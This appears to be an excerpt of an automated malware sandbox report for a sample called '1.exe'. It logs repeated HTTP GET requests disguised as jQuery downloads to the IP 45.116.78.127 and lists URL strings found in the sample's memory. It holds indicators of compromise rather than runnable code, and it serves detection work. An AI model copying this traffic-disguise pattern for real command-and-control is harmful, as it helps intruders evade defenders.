Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /jquery-3.3.1.min.js HTTP/1.1Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8Referer: http://code.jquery.com/Accept-Encoding: gzip, deflateCookie: __cfduid=XLG2LgCGbLSE7SiH4vmvowijdnet_2ch_OL6z79Cp09YEmeGL4eHC3KUxHmOyZLRAfm66fYulDJsLg2UCuX_p46kDn1VIDEzF-Y4JwtRrGkk-7VrUGrEooAFE-iVp12Khg_CmBu86f4RPCYxYwlPFRyziBEuLfoHz4ruWxmQu5IUser-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like GeckoHost: 45.116.78.127Connection: Keep-AliveCache-Control: no-cache

Source: 1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649720745.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2412463885.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D9C000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2221934852.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D3C000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688451879.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2815589341.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2393356882.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.jquery.com/
Source: 1.exe, 00000000.00000002.3273403913.000002B669D3C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.jquery.com/)v
Source: 1.exe, 00000000.00000003.2068730463.000002B669D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.jquery.com/I
Source: 1.exe, 00000000.00000003.2240965688.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2279731119.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2181244688.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2299019879.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2200281283.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2162144150.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2260354455.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2220224689.000002B669DC1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://code.jquery.com/i
Source: 1.exe, 00000000.00000003.2298925896.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/
Source: 1.exe, 00000000.00000003.2883924322.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/)
Source: 1.exe, 00000000.00000003.2922884622.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2883830642.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2903576644.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/16.78.127/
Source: 1.exe, 00000000.00000003.2834956072.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2855873160.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/16.78.127/der
Source: 1.exe, 00000000.00000003.2337185318.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2355972071.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/16.78.127/l
Source: 1.exe, 00000000.00000003.2611004523.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2591446515.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/9
Source: 1.exe, 00000000.00000003.2815589341.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158738259.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2834956072.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3064219568.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2796448604.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/=
Source: 1.exe, 00000000.00000003.2630449376.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2669102576.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2649858391.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/E
Source: 1.exe, 00000000.00000003.2688578245.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2745317730.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2762024524.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2707342659.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2726918993.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/M
Source: 1.exe, 00000000.00000003.3215560010.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196424317.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196282775.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/P
Source: 1.exe, 00000000.00000003.3234673628.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000002.3273403913.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3254523170.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/R
Source: 1.exe, 00000000.00000003.2450698374.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/crosic
Source: 1.exe, 00000000.00000003.2591343411.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196282775.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/dep
Source: 1.exe, 00000000.00000003.2941717680.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3158599501.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3138732447.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.3196282775.000002B669D9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/der
Source: 1.exe, 00000000.00000003.3006338364.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/e
Source: 1.exe, 00000000.00000002.3273561662.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/i
Source: 1.exe, 00000000.00000003.2780254740.000002B669DF7000.00000004.00000020.00020000.00000000.sdmp, 1.exe, 00000000.00000003.2298925896.000002B669DA0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://45.116.78.127/jquery-3.3.1.min.js
